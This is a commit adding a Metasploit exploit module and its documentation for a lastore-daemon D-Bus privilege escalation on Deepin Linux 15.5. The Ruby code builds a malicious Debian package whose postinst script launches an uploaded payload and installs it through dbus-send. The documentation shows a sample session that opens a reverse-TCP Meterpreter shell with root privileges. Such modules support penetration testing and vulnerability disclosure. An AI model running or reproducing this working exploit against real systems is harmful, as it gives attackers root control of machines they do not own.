Land #9756, Add lastore-daemon D-Bus Privilege Escalation exploit
Merge branch 'land-9756' into upstream-masterGSoC/Meterpreter_Web_Console
commit
1c92134606
|
@ -0,0 +1,101 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges on [Deepin Linux](https://www.deepin.org/en/) systems
|
||||
by using `lastore-daemon` to install a package. It may cause audio and/or graphical signals confirming
|
||||
the installation of the payload package.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The `lastore-daemon` D-Bus configuration on Deepin Linux 15.5 permits any
|
||||
user in the `sudo` group to install arbitrary system packages without
|
||||
providing a password, resulting in code execution as root. By default,
|
||||
the first user created on the system is a member of the `sudo` group.
|
||||
|
||||
The D-Bus configuration in `/usr/share/dbus-1/system.d/com.deepin.lastore.conf`
|
||||
permits users of the `sudo` group to execute arbitrary methods on the
|
||||
`com.deepin.lastore` interface, as shown below:
|
||||
|
||||
```xml
|
||||
<!-- Only root can own the service -->
|
||||
<policy user="root">
|
||||
<allow own="com.deepin.lastore"/>
|
||||
<allow send_destination="com.deepin.lastore"/>
|
||||
</policy>
|
||||
|
||||
<!-- Allow sudo group to invoke methods on the interfaces -->
|
||||
<policy group="sudo">
|
||||
<allow own="com.deepin.lastore"/>
|
||||
<allow send_destination="com.deepin.lastore"/>
|
||||
</policy>
|
||||
```
|
||||
|
||||
This module has been tested successfully with lastore-daemon version
|
||||
0.9.53-1 on Deepin Linux 15.5 (x64).
|
||||
|
||||
Deepin Linux is available here:
|
||||
|
||||
* https://www.deepin.org/en/mirrors/releases/
|
||||
|
||||
`lastore-daemon` source repository is available here:
|
||||
|
||||
* https://cr.deepin.io/#/admin/projects/lastore/lastore-daemon
|
||||
* https://github.com/linuxdeepin/lastore-daemon/
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/lastore_daemon_dbus_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/lastore_daemon_dbus_priv_esc
|
||||
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/lastore_daemon_dbus_priv_esc) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Building package...
|
||||
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/control' (98 bytes) ...
|
||||
[*] Writing '/tmp/.NNhJWRPZdd/DEBIAN/postinst' (28 bytes) ...
|
||||
[*] Uploading payload...
|
||||
[*] Writing '/tmp/.1sZZ46ozIH' (207 bytes) ...
|
||||
[*] Installing package...
|
||||
[*] Sending stage (857352 bytes) to 172.16.191.200
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.200:51464) at 2018-03-24 18:45:29 -0400
|
||||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/control
|
||||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN/postinst
|
||||
[+] Deleted /tmp/.1sZZ46ozIH
|
||||
[+] Deleted /tmp/.NNhJWRPZdd/DEBIAN
|
||||
[*] Removing package...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.200
|
||||
OS : Deepin 15.5 (Linux 4.9.0-deepin13-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
|
|
@ -0,0 +1,172 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'lastore-daemon D-Bus Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Deepin Linux systems
|
||||
by using lastore-daemon to install a package.
|
||||
|
||||
The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any
|
||||
user in the sudo group to install arbitrary system packages without
|
||||
providing a password, resulting in code execution as root. By default,
|
||||
the first user created on the system is a member of the sudo group.
|
||||
|
||||
This module has been tested successfully with lastore-daemon version
|
||||
0.9.53-1 on Deepin Linux 15.5 (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
"King's Way", # Discovery and exploit
|
||||
'Brendan Coles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'Feb 2 2016',
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39433' ],
|
||||
[ 'URL', 'https://gist.github.com/bcoles/02aa274ce32dc350e34b6d4d1ad0e0e8' ],
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'DefaultTarget' => 0))
|
||||
register_options([
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
])
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def mkdir(path)
|
||||
vprint_status "Creating '#{path}' directory"
|
||||
cmd_exec "mkdir -p #{path}"
|
||||
register_dir_for_cleanup path
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def command_exists?(cmd)
|
||||
cmd_exec("command -v #{cmd} && echo true").include? 'true'
|
||||
end
|
||||
|
||||
def dbus_priv?
|
||||
res = install_package '', ''
|
||||
(res.include? 'DBus.Error.AccessDenied') ? false : true
|
||||
end
|
||||
|
||||
def install_package(name, path)
|
||||
dbus_send dest: 'com.deepin.lastore',
|
||||
type: 'method_call',
|
||||
path: '/com/deepin/lastore',
|
||||
interface: 'com.deepin.lastore.Manager.InstallPackage',
|
||||
contents: "string:'#{name}' string:'#{path}'"
|
||||
end
|
||||
|
||||
def remove_package(name)
|
||||
dbus_send dest: 'com.deepin.lastore',
|
||||
type: 'method_call',
|
||||
path: '/com/deepin/lastore',
|
||||
interface: 'com.deepin.lastore.Manager.RemovePackage',
|
||||
contents: "string:' ' string:'#{name}'"
|
||||
end
|
||||
|
||||
def dbus_send(dest:, type:, path:, interface:, contents:)
|
||||
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
|
||||
end
|
||||
|
||||
def check
|
||||
%w(lastore-daemon dpkg-deb dbus-send).each do |cmd|
|
||||
unless command_exists? cmd
|
||||
vprint_error "#{cmd} is not installed. Exploitation will fail."
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good "#{cmd} is installed"
|
||||
end
|
||||
|
||||
unless dbus_priv?
|
||||
vprint_error 'User is not permitted to install packages. Exploitation will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'User is permitted to install packages'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
print_status 'Building package...'
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric rand(10..15)}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
pkg_name = rand_text_alphanumeric rand(10..15)
|
||||
pkg_path = "#{base_dir}/.#{pkg_name}"
|
||||
|
||||
mkdir "#{pkg_path}/DEBIAN"
|
||||
pkg = "Package: #{pkg_name}\n"
|
||||
pkg << "Version: 0.1\n"
|
||||
pkg << "Maintainer: #{pkg_name}\n"
|
||||
pkg << "Architecture: all\n"
|
||||
pkg << "Description: #{pkg_name}\n"
|
||||
upload "#{pkg_path}/DEBIAN/control", pkg
|
||||
upload_and_chmodx "#{pkg_path}/DEBIAN/postinst", "#!/bin/sh\n#{payload_path} &"
|
||||
|
||||
cmd_exec "dpkg-deb --build '#{pkg_path}'"
|
||||
|
||||
unless file_exist? "#{pkg_path}.deb"
|
||||
fail_with Failure::Unknown, 'Building package failed'
|
||||
end
|
||||
|
||||
print_status 'Uploading payload...'
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
print_status 'Installing package...'
|
||||
res = install_package pkg_name, "#{pkg_path}.deb"
|
||||
vprint_line res
|
||||
|
||||
unless res.include? 'object path'
|
||||
fail_with Failure::Unknown, 'Package installation failed. Check /var/log/lastore/daemon.log'
|
||||
end
|
||||
|
||||
Rex.sleep 15
|
||||
|
||||
print_status 'Removing package...'
|
||||
res = remove_package pkg_name.downcase
|
||||
vprint_line res
|
||||
|
||||
unless res.include? 'object path'
|
||||
print_warning 'Package removal failed. Check /var/log/lastore/daemon.log'
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue